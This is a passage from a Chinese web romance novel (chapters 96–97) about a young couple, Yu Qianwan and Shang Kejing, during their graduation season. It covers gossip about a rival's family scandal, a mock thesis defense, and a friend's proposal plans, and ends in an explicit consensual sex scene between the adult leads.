毕竟视频是要配合品牌方在规定的时间发出的,不能拖延。 但这条宣传视频的截止期限其实还有一段时间, 并不急。 虞千绾起初是假急, 装出事业心爆棚的认真样逃避回卧室,但装着装着,注意力真渐渐投入其中,念及商恪景的时间越来越少。 待她再注意到时间时, 已然逼近零点了。 这个点再找什么理由往下拖延略显牵强, 很可能引起商恪景的怀疑和笑噱,虞千绾暗暗头脑风暴了一阵后,硬着头皮放下电脑, 回屋洗漱。 上床后的发展与虞千绾持续了大半天的想象无丁点相似。 不仅白日在超市刚买的避孕套没用上,而且一点暧昧举动都没有。 商恪景只是抱住了她,和她说了些日常的琐碎话, 然后轻拍着她的背说“时间不早了,晚安。” 他们就在这样的氛围下入了眠。 此后一周的时间,虞千绾还是会忍不住想这事,想商恪景什么时候用套,但那幕始终没发生,她想起的频率也就越来越低。 又半个月过去。 虞千绾和商恪景之间常有亲昵,但他最多只用手,虞千绾就彻底把套的事忘到了九霄云外。 时间来到五月初。 今天是个值得开心的日子,因为商恪景进到永誉实习的第一个项目将在今日拉下帷幕。 后面至少一个月的时间,他都不用再去永誉,会日日都待在家陪她,全是他们的二人世界。 这个时间是商知珩刻意卡的,毕竟商恪景大学尚未正式毕业,还剩个重头戏——毕业论文。 临近答辩,他给商恪景留了段完全空闲的时间专门放在论文上,也给商恪景预留了毕业旅行的时间。 期待许久终于等到这一天,商恪景和虞千绾昨晚都高兴得不行,兴奋到难以入眠,相拥着一直畅聊到凌晨两点多。 即便如此,压根没睡饱的商恪景早晨被闹钟吵醒时依旧是精神焕发的,想着今天是最后一天,似乎什么负面情绪都没了,就连身体的困劲都能靠着雀跃的意志压过。 虞千绾醒时亦然。 眼睛还没睁开,唇角就开始上扬了。 刚睡醒,脑子还有些混沌,不那么清明。 虞千绾抱着被子,眼睑半阖半睁,一边想着今日过后日日和商恪景腻在一块的美好生活,一边缓缓醒着神。 完全从迷糊的睡意中拔出后,虞千绾伸手去摸放在床头柜上的手机。 置顶又有99+的未读消息了,这几乎成为了特殊日子的标配。 她抿着笑点入去看,商恪景发来了许多快乐小狗蹦跶的表情包。 看着满屏的表情包,虞千绾隔着屏幕都可以感受到商恪景的快乐值。 虞千绾滑动着屏幕,看着迟迟滑不到头的消息不禁轻笑出声。终于看完今天他发来的所有消息后,她反手回了一堆同样欢快的表情包。 点开微信的时候,虞千绾发现聊天框里还有别的朋友给她发来的微信,不过她选择先看商恪景的。 回复完商恪景后,她切出私聊页面,点入朋友褚曼青的聊天页面去看其给自己发了什么。 褚曼青是消息是半小时前发的。 先是一个挤眉弄眼的表情,而后是跟了句:【周映灵家出事了,你知道不?】 显然,周映灵家发生了不太好的事情,褚曼青知道周映灵和虞千绾一向不和,于是分享给虞千绾让她听着高兴高兴。 虞千绾的八卦心也确实在看到的瞬间升腾而起,当即回复:【我刚睡醒才看到,还不知道呢,发生什么啦?】 褚曼青那头秒回:【她突然冒出了个弟弟,就比她少两岁的那种。】 【弟弟???】 虞千绾只知道周家有两个女儿,之前得知常桦的真面目还是在周映灵妹妹的成人礼上。 周映灵和她同岁,而周映霜刚成年不久,这位不知从哪冒出的弟弟年岁竟介于姐俩之间。 【她爸在外养的三生的,昨晚上正式被她爸领回了周家。】 这类事件在豪门圈里发生的频率并不算低,大家其实都见怪不怪,但少有这种把孩子藏到这么大才公开的,而且正值周映灵学成归国要接手自家公司的时候,又是个已成年的男性。周爸显然还残留着重男轻女的陋习,想把公司交给儿子,而非大女儿,否则也不会挑这种时候把私生子带回家了。 【她家估计都闹翻天了,你想想,那个私生子就比周映灵小两岁,说明她爸养三的时间和跟她妈结婚的时间差不多,保不齐比她妈还早,只是她妈家世和她爸更合适,这也太膈应了。】 【而且她家两个孩子都是女儿,以她爸这意思,怕是以后连半杯羹都分不到,他打算全留给他儿子呢。】 【群里面都讨论疯了,说周映灵以后怕是没法再那么神气了。不过也好,省得那么讨人厌,瞧着就让人无语。】 不可否认,虞千绾当下是有种讨厌的人终于遭到报应的爽感的,毕竟周映灵从小就对她阴阳怪气的,总鸡蛋里挑骨头的看她不爽,虞千绾不是以德报怨的人,自然得反馈回同等的厌恶。 但当初,也是周映灵给她发了短信,让她亲耳听到了常桦那些刺耳的话逃离了他。 彼时,虞千绾只当周映灵是想以此羞辱她,让她知道她心心念念的男人却在背地里追捧着她讨厌的人。 那股劲散去后,虞千绾其实挺感激周映灵的,不论怎么说,周映灵导致的这个结果是有利于她的。 想着想着,虞千绾忽然感觉这件事很不周映灵的作风,她如果真想拿常桦报复自己,放在恋爱后或是婚后这类关系更亲密的时候再捅破岂不更有杀伤力? 而且事后,周映灵没有以此为笑话向别人说过,起码虞千绾没有听到过丁点。 鬼使神差的,虞千绾竟觉得周映灵在帮她看清常桦。 但一个讨厌了她针对了她这么久的人怎么可能帮她? 感性和理性完全相悖,使得虞千绾无法有个准确判断,人性委实太复杂。 她们的生活基本没什么交集,自那日后,虞千绾和周映灵没再见过,这事她也没再想过。 但今日冷不丁从褚曼青口中得知周映灵家的事,虞千绾不禁想起这桩旧事。 认清常桦后她看见了胜过他千万倍的商恪景,这段恋爱太好,她也就格外感激当初周映灵的举措。 所以短暂的窃喜后,虞千绾竟有些担心周映灵的情况。她知道周映灵是个很要面子很傲气也很有上进心的人,好不容易上完学揣着能力进到自家公司准备大干一场却出了这种事,推手还是自己的亲生父亲,论谁也接受不了- 因为是负责项目的最后一天,零零碎碎需要忙的事情有些多。 商恪景归家的时间点比往常迟了一个多小时。 他回来时虞千绾刚运动结束不久,正在洗澡。 商恪景推开卧室门听到浴室的水声才知道她在洗澡,思忖不过半分钟,他也拿了睡衣去侧卧洗澡。 和她一个时间段洗澡节省时间,省得后面他还得耽误二人时间用在洗澡上。 虞千绾洗完澡从浴室出来,站在洗手间里用毛巾擦拭着刚洗过的湿发,待其没再那么细密地往下滴水后,她换了个新的干燥的毛巾披在肩后隔开睡衣和湿漉的发,这才腾出手去拿手机查看微信。 商恪景下班时给虞千绾发了消息,但好巧不巧,那时虞千绾刚进浴室没两分钟,错过了消息。 此刻瞧见,虞千绾心头一喜,她很清楚他从集团到家的车程需要多少时间,根据他说回来的那条消息时间判断,他肯定已经到家了。 头发都来不及吹,虞千绾当即转身想去开门看他是不是已经在卧室里等她了,但脚下才动半步,洗手间门忽然被人从外打开了。 商恪景的身形闯入虞千绾视线中,就像是某种默契,虞千绾顿住脚,歪头朝他笑。 商恪景在外听到浴室的水声停了一阵,猜测她应该洗好了,推开洗手间的门看到心心念念了一天的人儿时,他面上神情倏然变得有些急不可耐。 遑论她还那么俏皮的冲他歪了歪脑袋露出甜美的笑容,且她刚洗完澡,皮肤被热气熏得沁着粉泽,眸波似也泛着浅浅的涟漪。 对视两秒,商恪景迈开步伐,三两步就走到虞千绾面前,低头将脸埋到她颈窝间的同时双手也圈住她的腰,手上力度收紧,将人又往怀里带了带,“宝宝。” 虞千绾立即抬手去回抱商恪景,闷着笑甜甜地回:“在呢。” 她很受用商恪景的黏人劲,且怎么也不会觉得腻。 许是因为他们之前这么多年大多时候都陪在对方身边,大学四年更是门挨门住着,他们的生活里早习惯了彼此的存在,所以他们的分别阈值要比别人低很多,别人可能是分开几天几周感到想念,他们是半天不见就要想,毕竟之前除了睡觉外的所有时间都是要腻在一块的。 自从上班以来,随着时间,商恪景其实已经渐渐适应了傍晚回家才能见到虞千绾,但今天不知怎的,他觉得时间过得格外慢,于是就格外想虞千绾。 他在她颈间蹭了又蹭,还偏首以唇不时擦碰过她的皮肤,试图以此缓解些内心的躁念。 虞千绾的头发很长,到腰。 商恪景搂着她的时候感觉到了她头发的湿度,期间不断还有水落到他手上。 关切着她,不想她持续顶着一头湿透的发,商恪景这才压住了些黏糊劲直起了身,没再赖在她身上汲取她的气息,主动倾身去拿吹风机,自觉站到虞千绾身后帮她吹头发。 这样姿势,虞千绾只能通过镜子看到商恪景,总觉得不那么真切,她也很想他,便转过身,面对面抱着商恪景的腰,目不转睛看着他这个人。 仰眸看着他给自己吹头发。 她一个字都没说,也没做多暧昧的事,但商恪景就觉得自己被撩得很心动,不由得垂首去亲了亲她的唇。 顾及着在给她吹头发,怕分心烫到她,商恪景只是浅尝辄止。 虞千绾可不怕,她全部注意力都放在他身上。 手指恣意在他五官抚过,时而还踮脚去亲亲他。 大半天没见的腻歪劲退了些,虞千绾脑子里才开始有些别的事。 她把玩着商恪景睡衣顶端的那粒纽扣,一会儿扣上一会儿解开,说:“周映灵家里出事了。” 吹风机开的是最大档,完全覆盖了虞千绾的声音,商恪景只看到她嘴动,但听不清她在说什么,他立即将吹风机调低了一档,身形也跟着俯下,“嗯?什么?” 虞千绾放大了些声,“我说,周映灵她爸突然带了个20岁的私生子回来。” “20岁?” 商恪景扬了扬眉,显然也对这个年纪有些惊讶,但跟着敛眸哂笑,“那她家有的闹了。” 换做旁人,商恪景还有些探知欲和同情心,但对于周映灵,他什么都没有,不落井下石就不错了。 她是商恪景见过的最莫名的一个人,没有什么原因没有什么矛盾就很讨厌很看不惯虞千绾,上学那会儿冷不丁就冒出来膈应人。起初虞千绾不知道周映灵讨厌她的时候还经常笑吟吟的同其讲话,然后得到周映灵的白眼,诸如此类的事发生不少次,虞千绾多次热脸贴了她的冷屁股。 商恪景从始至终站在虞千绾这边,一次次见证着,自然不可能再对周映灵有什么好脸色,听到她家出事只觉得罪有应得。 虞千绾光靠着他那声轻蔑的笑就品出了其中意思,双手捧住他的脸,吧唧亲了下他的唇以示奖励,奖励他一直站在自己这边。 但犹豫须臾,她还是把自己对周映灵印象的细微转变告知了商恪景,让他帮自己一起分析分析。 商恪景没有虞千绾这种心思,他认为即便结果确实如虞千绾所说于她是有益的,但不代表周映灵是想帮她。他觉得周映灵的发心就是坏的,她享受抢走虞千绾在意的人的感受,认为这样就胜过虞千绾一头。 商恪景深谙此点,因为他曾经历过,他算是周映灵的第一个试图从虞千绾身边拉走的目标。但他从来听不得旁人说虞千绾不好,几次当面直接戳破周映灵暗戳戳的挑拨离间后周映灵自觉没面就再没在他身上下过功夫。 也因为这段经历,商恪景尤其不喜周映灵。 所以即便常桦这事最后在虞千绾的角度上确实是利大于弊,但商恪景仍觉周映灵就是恶意在整虞千绾,不认为她有丁点好心。 说着说着,他唇线越绷越直。 一想到常桦,商恪景就不舒服。 就算是过去的曾经,他也不快。 不快常桦让虞千绾伤心那么多次,不快常桦瞎了眼竟然浪费了虞千绾的情意。 虞千绾看着商恪景直接挂脸,秒懂地失了笑,食指戳了戳他唇角,解释:“我说这件事的重点在周映灵身上,和常桦没有关系。” “我知道。” 理智上,商恪景什么都知道,但没法在行为举止上保持一致。 商恪景生闷气但又无处发的样子看起来很想让人逗一逗,虞千绾酝酿片刻,也确实这么做了。 她圈住商恪景脖颈,指尖在他颈后皮肤轻点,“这么不高兴呀?那我……过会儿奖励奖励你?” 他们现在除了最后那层没突破外,旁的亲密行为都频频发生过,次数渐多后,言行举止也就没起初那么容易羞赧了。 商恪景自然也能从虞千绾眸光轻闪的双眼中读懂她所谓的奖励代表什么,常桦和周映灵瞬间被他从脑袋里踢走,只余这事。 他有些明知故问:“……怎么奖励?” “嗯……” 虞千绾视线偏离了一瞬,略有含糊,“你之前不是买了四盒嘛……” 听到的那一瞬间,商恪景气血上涌,当即就有些燥热。 但话在脑海里过了几遍后,他又觉得奇怪。 她怎么会主动提及这茬? 这事有严重到需要她这么哄他吗? 答案显然是没有,所以……她也想?在拿这个当借口? 商恪景迅速把这事的不合理性圆上了。 但在吹完头发吃完饭上床后,虞千绾突然闷不住笑地扑到他怀里,睁着双大眼睛笑得直颤告诉他,“我来月经了。” 商恪景失语一瞬,跟着阖上眼,一副“我就知道不对劲”的样子面如死灰平躺了下去,一动不动。 他这样,虞千绾更想笑了。 咯咯笑声此起彼伏的。 商恪景想笑,也有些恼。 偏她还一直笑个不停。 他耐不住这样单方面的逗趣,想还回去,单臂轻易将人紧紧禁锢在怀里,另手娴熟将她睡衣摆朝上推,“那就吃吃宝宝这里。” 虞千绾笑声骤停,急遽就去推商恪景靠近的脸,不让他埋下,但又抵不过他的力气,最后给自己惹得面红耳赤,只憋出句毫无杀伤力的,“流氓!” 作者有话说:-褚曼青在17章出现过哦,忘记她的宝可以去17章回顾一下。 第97章 第 97 章 “宝宝咬的我也疼。”…… 一周后。 距离正式答辩没剩多少时间了。 不仅学生们开始紧张, 分外积极地对待论文相关事宜,就连老师们在线上的回复速度都变得快起来。 负责任些的论文老师开始让自己带的学生来办公室内开会,除了集体叮嘱些答辩技巧外再当面检查一遍学生的论文。 商恪景和虞千绾这组也不例外,老师在群里让他们周三上午十点都带着电脑去办公室开会, 届时要配合自己做的答辩PPT做一遍模拟答辩。 他们不想周三一大早起来赶回京大, 于是在周二下午回了校外小区居住。 周二回到校外小区后, 商恪景很自然就拖着行李箱跟着虞千绾进了她家, 自家连推开门看一眼都没。 魏明轩不知道从哪听到的消息, 当晚就给商恪景发了微信问他明天和虞千绾是不是要回校找老师开会。 商恪景说是。 魏明轩便问他们明天忙完论文的事后有没有空,他想请他们吃顿午饭, 正好有些事想请他们帮帮忙。后头还特别声明了句, 不要告诉徐盼雁,一定要对她保密。 魏明轩显然也不是很好意思麻烦他们, 所以特意挑的他们返校时间。 商恪景询问完虞千绾意见后应下了魏明轩的午饭邀请。他们一致对魏明轩请客这事没什么兴趣,但很好奇究竟是什么事徐盼雁不能知道, 而他们却能知道。 翌日。 虞千绾和商恪景在九点五十二分到达老师办公室旁的二号会议室。老师让他们在这里等她, 办公室内还有别的老师,防止打扰到他们。 邢老师一共带了六个学生的毕业论文,他们俩是学生中最后到的,其余四个同学一瞧见他们就发出了“喔~”的起哄声, 还朝着他们挤眉弄眼的。 今天是他们在朋友圈官宣后第一次回校和同学有交集, 同学们可都清楚记得他们俩之前是怎么信誓旦旦说只是朋友不可能做恋人的,现在见他们打脸免不得要揶揄几句。 但这四人都是男生,所以只给虞千绾投了眼神, 话语皆落在了商恪景身上。 “来来来商恪景,你再嘴硬给我看看?再说一遍和虞千绾没有暧昧呢?” “哟,这不是全世界最不可能成为对象的那对青梅竹马嘛。竹马你怎么看?” 还有一人显然早做好了准备, 突然起身清了清嗓,声音一波N折地做作道:“和女朋友的第一个新年,也是和青梅的第二十一个~” 新年时候的文案在这种时候被扒出来,还以这种腔调,彼时的氛围全无。 虞千绾已然羞笑到不好意思直视大家了,耳根通红。商恪景也被调侃的有些别扭,但不想这句有特别意义的文案被这群人糟蹋了,直接上前去勒住那人脖子让那人没法再说下去。 邢老师来的时候,他们还在闹笑着,没第一时间注意到老师。 虞千绾就站在门内侧,第一个发现了老师,当即敛笑礼貌打招呼:“邢老师好。” 邢老师也笑着回以颔首,“好。” 虞千绾刚欲出声提醒仍闹作一团的五人,但邢老师在她身边站定脚,温和地拍了拍她的肩膀,继续笑说:“一段时间没见又漂亮不少。” 虞千绾当即笑承下回夸。 不料老师下一句是,“我看到你和商恪景的朋友圈了,不错,很般配,郎才女貌。” 在老师面前聊感情生活,虞千绾顿觉羞窘,有些不知回什么才好,就腼腆笑了笑。 幸好邢老师并没多说别的,只道了这么一句就继续往会议室里去了。 邢老师穿着双矮粗跟的鞋,踩在会议室的地砖上啪啪嗒嗒的,再一走近,五个男生同步发现,立即老实下来。 邢老师依旧是那副和善笑着的面容,但说出的话却很有压迫感,“聊什么笑这么高兴呢?希望马上听完你们的答辩,也能让我还笑得出来。” 对自己的论文内容有些发虚的两人默契收笑低头,登时不敢说话了。 见状,虞千绾当即快步向前,拉开椅子落座,没再惹眼的单独杵在一旁。 商恪景跟着坐在她身边,把她的电脑和打印出的纸质版论文推放到她面前。 到这个时期,论文内容其实都没什么好说的了,老师开线上组会时都和他们沟通过多次,也在小窗单独指点过数不清多少次。 学生们该修改的地方都修改好了,还有些不那么严谨的内容明知却不改是因为自己也没辙了,短时间学不会改不了更好,但删除后又想不到什么别的替换,于是只能抱着侥幸心理放在论文中,希望答辩时老师们不要揪住细问。真细问了,那也只能认命,老老实实站在讲台上挨训,谁答辩还不被老师挑几个问题呢,只要问题不大能过就行。 虞千绾和商恪景的论文选题都不难,皆是专业内难度中等且较为常见的那类,他们对自己没多高的要求,不指望拿高分也不想多努力,能按部就班走完正常流程毕业就行。 本科生的毕业论文老师们基本都不会太挑刺,能让过就都过了。 但查重这种硬性条件一定是要达标的,结果他们组内还有一人至今查重率还在百分之三十多,那人叫范英杰,之前开组会的时候,大家就常听他被邢老师骂。 今日,邢老师知晓这个数字时,反倒一点火都没发,只是淡淡说:“明天你们就要进学校系统上传终稿了,你这个查重率肯定过不了,终稿上传时间截止前你交不上去答辩也不用参加了。” 会议室内的氛围瞬间降至冰点,大家都面面相觑的。 只有范英杰一人低垂着头,脸色红一阵白一阵的。 还有一人的毕业论文内容过于简单,数据太少,邢老师说有些悬,不能稳过,还得看答辩时各老师的打分,没过的话还得二辩,让他做些心理准备。 除他俩外,其余人的问题都显得无足轻重,基本就是些格式上的小问题。 邢老师挨个听完小组学生准备的答辩后就他们的PPT给了调整意见。 听老师说自己的PPT内容时,虞千绾边和老师沟通边打开手机备忘录将老师说的问题记下,回去再修改。 后来听到老师说商恪景的,她也顺手记下,防止他记漏。 组会结束后从办公楼出来,时间已至正午。 商恪景给魏明轩发去消息,魏明轩说他在校门口火锅店等他们,中午请他们吃火锅。 有之前篮球赛的情谊在,三人一碰面就很熟络,虞千绾笑问:“该不会是把雁雁惹生气想让我们帮着想想办法吧?” 这是她和商恪景昨天收到魏明轩消息后能想到的最合理的缘由。 “不是,真要给她惹生气了,我哪还能等到今天。” 魏明轩憨实一笑,脸上浮现出些甜蜜。 他起身把菜单放到虞千绾和商恪景中间,“你们先点,点完我再跟你们说。” 商恪景自觉把菜单往虞千绾那边推去,“你来。” 虞千绾从来都不跟商恪景客气,拿起铅笔就低头嗖嗖在菜单上勾着。 勾完他们俩爱吃的后,她又把菜单递还给魏明轩,让魏明轩点些他想吃的。 魏明轩心不在此,说自己不挑食吃什么都行,点单权全交给虞千绾。 虞千绾便低头又勾了几道菜,确定足够三个人吃后,她才把菜单递给坐在外的商恪景,商恪景交给服务员。 商恪景手肘搭在桌沿,双手手指交握悬在胸前位置,饶有趣味看着魏明轩,“这下可以说了?” 虞千绾含着笑,单手支颐同样看着目不转睛坐在对面的魏明轩等着他的后续。 魏明轩忽然很不好意思地低头笑了声,还挠了挠头。 他动了动唇,却又合住。 转头环顾了圈四周,确定没有认识的人后,他上身前倾,激动又刻意敛着的轻声同他们说:“我想在毕业前和雁雁求婚。” 完全没想到的请客原因,虞千绾懒懒斜着的身形倏然就坐直了,眼睛睁得圆溜溜,“真的啊?!” 毕业求婚这种事,她还只在偶像剧里见过,突然照进现实将要见证,听到的当下很替他们高兴也很惊喜。 “嗯!” 魏明轩重重点了点头,笑容也彻底咧开,“之前其实也没想这些的,但临毕业了突然很感怀,毕竟我们的恋爱始于这里,以后毕业了再想回来都不知道门卫放不放我们进来。京大承载了太多我们的记忆,这个环境太特殊,所以我想在临离开前在这和雁雁进入下一个阶段。” “不过她之前在网上刷到一些求婚短视频的时候有提过说不喜欢男生在陌生人很多的地方公开求婚,因为周围会有很多不明情况的人过来起哄说‘嫁给他’之类的话,这样女方被压力着难以说出拒绝。而且可能还有人拍摄发到网上,显得拒绝就更十恶不赦了,她不喜欢这种感觉。所以我只打算喊些关系好的朋友,正好还想麻烦虞千绾你帮我打探打探雁雁喜欢什么样的求婚场景,我嘴笨,最不会在她面前撒谎,害怕露馅。” “当然可以。” 虞千绾不假思索应下,徐盼雁是她大学交到的朋友里关系最好的那个,所以她也下意识站在徐盼雁的层面考虑了一些,“我知道你决定求婚肯定也鼓起了很大的勇气,自己想过很多,但我还是想说句可能有点扫兴的话。” “没事,你说。” “求婚的结果不是一定的,它是一个选择。恋爱和组建家庭是两码事,雁雁喜欢你是肯定的,但结婚需要考虑的就多了,而且我们还没正式踏入社会,还看不出真正独立的能力,需要些时间慢慢看。所以她如果拒绝你的话,只是如果哈,你别多想,你们的感情肯定是没问题的。当然我也就是这么说一下啦,你们双方都乐意自然是最好的结果。” 虞千绾知道这话自己不太应该说,于现在的魏明轩而言可能有些欠妥,就像是迎头给他浇了盆冷水。 但她又想给魏明轩打个预防针,怕他万一被拒了后把这事和徐盼雁不喜欢他挂钩,乃至分手。 她很确定,徐盼雁一定是喜欢魏明轩的,很喜欢。 闻言,魏明轩紧绷的笑容反倒有一丝放松,“你放心,我想过,我有这个心理准备,不会因为被拒绝就否定我和她这段恋爱的。真要失败了也只说明我还有许多要努力的,一次不行就两次三次嘛。” 虞千绾也松了口气。 服务员刚刚给他们这桌上了一大桶果粒橙饮料,商恪景倒了三杯,虞千绾赶忙端起自己这杯,主动去碰了碰魏明轩的饮料杯,“这样最好啦,刚刚就当我大放厥词了,别往心里去。” “不会。” 魏明轩摇头笑,端起饮料杯回敬虞千绾,“等求婚结束后,我一定跟雁雁说这事。你这个朋友,她一点都没交错,谢谢。” 见他如此,虞千绾彻底安了心,“那我也会和雁雁说的,说她男朋友很大气。” 商恪景的声音横空插入,含着笑,“你们俩别在这商业互捧了,说说正事呢,明轩你后面具体还需要我们做些什么?” 虞千绾魏明轩同时破功笑出声,氛围重新都没什么压力的融洽自在起来。 虞千绾跟道:“对,你说,别客气。” 知道大家最近都在忙答辩的事,魏明轩不好意思用到虞千绾和商恪景答辩之前的时间,万一影响到他们毕业他的罪过可就大了,而且他也没那么多事需要他们俩来帮忙,就是需要虞千绾帮忙去问问徐盼雁希望的求婚里有什么,他想尽可能布置出一个完美的、徐盼雁喜欢的求婚。 魏明轩计划的求婚时间是答辩成绩出的当晚,他可以用答辩通过为庆祝理由喊徐盼雁出来吃饭,然后在包间里面跟她求婚。包间环境封闭,不会有陌生人进来,他也可以提前去布置。 不过在答辩完求婚前这期间,他可能得麻烦商恪景帮他一块布置布置。 虞千绾和商恪景都一口应下来,让他中途有什么事需要帮忙也不用多想,直接和他们开口就行。 他们直到毕业前都住在校外小区,先不回别墅区住,离得近。 魏明轩嘴上道谢说好,但心里还是不准备在正式答辩之前麻烦他们- 第一次帮人暗戳戳打听求婚这种事,虞千绾还挺紧张,生怕自己没问好影响了他们的求婚。 归家后和商恪景讨论了酝酿了快一个小时才敢给徐盼雁发去微信,她全程只打字,连语音都不用,就怕没藏住语调被徐盼雁发现不对劲暴露毁了魏明轩的计划。 虞千绾自然不能一开口就往求婚这种字眼上提,聊了很久别的话题才不显刻意的绕到这事上。 徐盼雁浑没意识到自己将要成为主人公,只当正常交谈的往下接。后面见虞千绾说多了求婚这事,还笑话她是不是想和商恪景结婚了,聊及此,徐盼雁回想起虞千绾当年不喜欢商恪景时的姿态,调笑了几句。 两个人都不是话少的性格,和熟人聊起来更是能聊很久,两个多小时轻松过去。 期间,虞千绾同步把徐盼雁提到的有关求婚内容全都转发给魏明轩,魏明轩追问某些具体内容的时候,她就换成自己的口吻去问徐盼雁。 晚上。 虞千绾刚洗完澡出来就看到魏明轩的消息,他很抱歉的说自己又卡在了一个求婚细节上,想麻烦虞千绾什么时候有空再帮忙问问徐盼雁。 虞千绾这个点不忙,当即又寻了个无关但有趣的话题去找徐盼雁了。 两个人一聊又是一个小时,商恪景洗完澡出来时她们还在聊,他就默默抱着虞千绾的腰,看着她和徐盼雁互发消息。 他还有些小心思,虞千绾为了套徐盼雁的话,会先行说出有关求婚的幻想,他这会儿看着正好可以知晓虞千绾对求婚的想象。 但看着看着,虞千绾忽然不给他看了,她推开了他的脸。 因为魏明轩想要虞千绾打听的,她已经打听完了,后面都是她们女孩子的话题。 随着时间推移,商恪景愈发哀怨。 他一会儿凑上来咬咬虞千绾耳骨,一会儿又亲亲她的脸颊,总归一定要刷点存在感。 终于,商恪景忍无可忍,直接把虞千绾横抱到自己腿上坐着,脑袋往她颈间一埋,郁郁控诉,“宝宝,你冷落我好久了。” 虞千绾和徐盼雁的话题也快要结束了,她揉了揉他脑袋,“两分钟!最多再等我两分钟就好了。” 商恪景直接开始数数,“一、二……” 俨然一副要不停歇数到120的架势,一秒都不给虞千绾多耽搁。 “哎呀,商恪景你干嘛~” 两分钟就是虞千绾随口说的,她只是想要表达自己就快结束聊天了,哪里想到商恪景这么严谨,真揪着两分钟不放。 持续增长的数数声一直回荡在耳边,虞千绾被他弄得很紧张,手上打字速度都快了起来,美甲敲得手机屏幕啪啪嗒嗒。 商恪景完全不回应她的话,就一个劲地数数,“十二、十三……” 卡在116,虞千绾摁灭手机屏幕放下手机,亲昵抱住商恪景脖颈,“好了!” 商恪景掀眸瞧她,虞千绾满脸得意,下颚微扬,成功卡点之余还掺杂些多送了他四秒的恩赐小表情。 商恪景哼笑声,“本来这些时间都该是我的。” 话落,他扣住虞千绾后脑勺,将她脑袋压下来,双唇相贴的同时翻转身形,他一手护着虞千绾脑袋一手撑在她身侧把她压在了床上。 虞千绾双手本能攀紧他。 氛围急转,吻势兀地就激烈起来。 五月中旬的天气早已热了起来,虞千绾洗完澡后就穿了件单薄的吊带睡裙。商恪景亦然,睡衣衣料轻薄。 上下两抹身形缠吻间来回擦碰着,被衣料包裹着的身躯渐渐升温,眸中也熏上愈发黏稠的媚色。 商恪景暂停了吻,稍稍支起些上身同她之间拉开一线距离,视线仍旧纠缠着她的不放。 嗓音哑到近乎以气音拉扯出黏蜜的调,“宝宝……” 虞千绾一手搭在商恪景颈后,一手覆着他侧脸,依恋轻柔地应:“嗯?” “今晚可不可以?” 商恪景喉结滚了滚,身形又压下些,鼻尖挨着她的,缓缓轻蹭,声音越说越哑,掺上些情欲,“……钓我好多天了。” “谁钓你了?” 虞千绾偏开些视线,不看他,含糊咕哝:“……明明是你自己不主动。” 空气静了一瞬,耳侧忽然传来声商恪景的轻笑,听起来分外愉悦轻挑,“知道了宝宝。” 还不待虞千绾反应,商恪景就直起了身。 他穿的是开襟睡衣,但嫌挨个解开纽扣再脱下太麻烦,此刻的他没这个耐心,双手交叉置于衣摆处,腰背一弓,宽松的睡衣就被他直接脱了下来。 虞千绾回正脑袋的时候正好看到这幕,她面颊一红,商恪景的确听懂了她的意思,但是—— 在商恪景跟着要压下身的时候,虞千绾急遽伸出手抵在他胸口,摇了摇头,“不行。” 不料她刚说过就反悔,商恪景面色一僵,更觉周身硬得发疼,充斥着难言的憋闷感。 “这里没……” 虞千绾抿了抿唇,声音很轻,眉眼含羞,“没那个……” 情绪起起伏伏又起起。 商恪景只觉浑身每一寸都被虞千绾牢牢把握着,任由她玩弄,再不想有什么反转,他俯首就封住她的唇。 虞千绾眼睫紧张眨动着,还当商恪景精虫上脑想不当人的干些混账事,紧闭着齿关不给他深吻自己,手也一直在他身前推阻着不许他靠近进行下一步。 唇上,商恪景笑了声,带起细微酥麻感。 他仍旧贴着她的唇没松,“有,我放在行李箱里一起带来了,现在就在床头柜的抽屉里。” “什么时候?” 虞千绾既羞又惊,但很想不通,他们在家时几乎每分每秒都待在对方身边,她完全没有注意到他什么时候放了东西进抽屉。 趁她张嘴说话,商恪景灵活闯入,有技巧的带着她享受了一会儿吻。 感觉到她理智消退,渐渐沉溺入情爱中才含混答复:“你洗澡的时候。” 真是蓄谋已久…… 否则也不会特意把套从别墅揣在行李箱里带过来,也不会特意放在离床近的床头柜中…… 念头在虞千绾脑海里一闪而过,此刻她已然无暇再去想太多,只觉唯一需要担忧的顾虑被扫去,一切准备就绪,她只需全身心投入其中。 床头柜的抽屉被打开,物什跟着被从内取出。 不知是不是这段时间的铺垫太久,抑或做足了心理准备。 真到这时,虞千绾的期待远大于紧张。 商恪景动作很温柔很克制,但自身条件摆在那,多多少少会让虞千绾有些不适。 忽然在一个点,她细颈骤仰,眉头紧蹙,右手猛地移至他小腹的位置抵住他,不让他再继续下去,“嗯——疼……” “我不动了,别怕。” 商恪景第一时间安抚她,低头吻了吻她的胳膊。 虞千绾手上渐渐松了些力,商恪景才试探着拉开她的手,弯腰去吻她隐有湿意的眼尾,轻唤着“宝宝”“千绾”哄她。 那种陌生感来得快去得也快,似就是霎那间的刺激让她模糊了视线。 视线渐渐恢复清明,虞千绾才发现,商恪景眼尾不知何时也红通通的,带些潮湿。她下意识抬手为他擦拭,“……怎么了?” 商恪景静望她几秒,确定她无虞了才终于卸了力般倒抽着凉气轻嘶了声,“——宝宝咬的我也疼。” “我哪有咬你?” 虞千绾话赶话的话说出口。 商恪景挑唇一笑,没说话,只低头看了眼。 虞千绾瞬间明白他到底在说什么,羞愤的手当即握拳在他胸口锤了下,“商恪景,你好烦,嫌疼别继续。” “不疼,一点都不疼。” 商恪景瞬时改了口,凑上来又黏糊糊地吻着虞千绾的唇,“宝宝呢?可以继续了吗?” 虞千绾放任着他的吻,但没吱声。 直到发现他额际因为隐忍迸发出几根青筋似乎很难捱很难受地跳动着,她才温吞吞回了声很轻很轻的“嗯……” 商恪景双手忽而下移,托住了虞千绾的膝弯,轻松勾起她细腿带到自己腰上,他的身形则跟着挤入更多。 “唔!” 虞千绾眼尾又沁出些水雾气,旖旎之色也更甚,声音带上些细喘。 起初,虞千绾还可以配合着将腿盘在他腰后,但随着时间,她没了力气,细腿垂落。 视线也一片白茫茫的看不清物什,樱唇时张时半合不合的发出阵阵靡音。 商恪景声音比之往常要更粗哑些,也更性感,唤得更显急促,“宝宝,看看我。” “千绾。” 虞千绾听话用力闭了闭眼又睁开,努力去看清他。 看到的却是商恪景故意迎着她的视线抬起她一条细腿压上了他的肩,膝弯贴合着他的皮肤,小腿则随着他的动作起起落落。 “这样宝宝就不用自己使力了。” 虞千绾已然羞愤到不知说什么才好了。 商恪景又切切地凑上来吻她,虞千绾近乎本能地半眯起眼迎合着他的唇舌。 “宝宝,我好爱你,爱不爱我?” 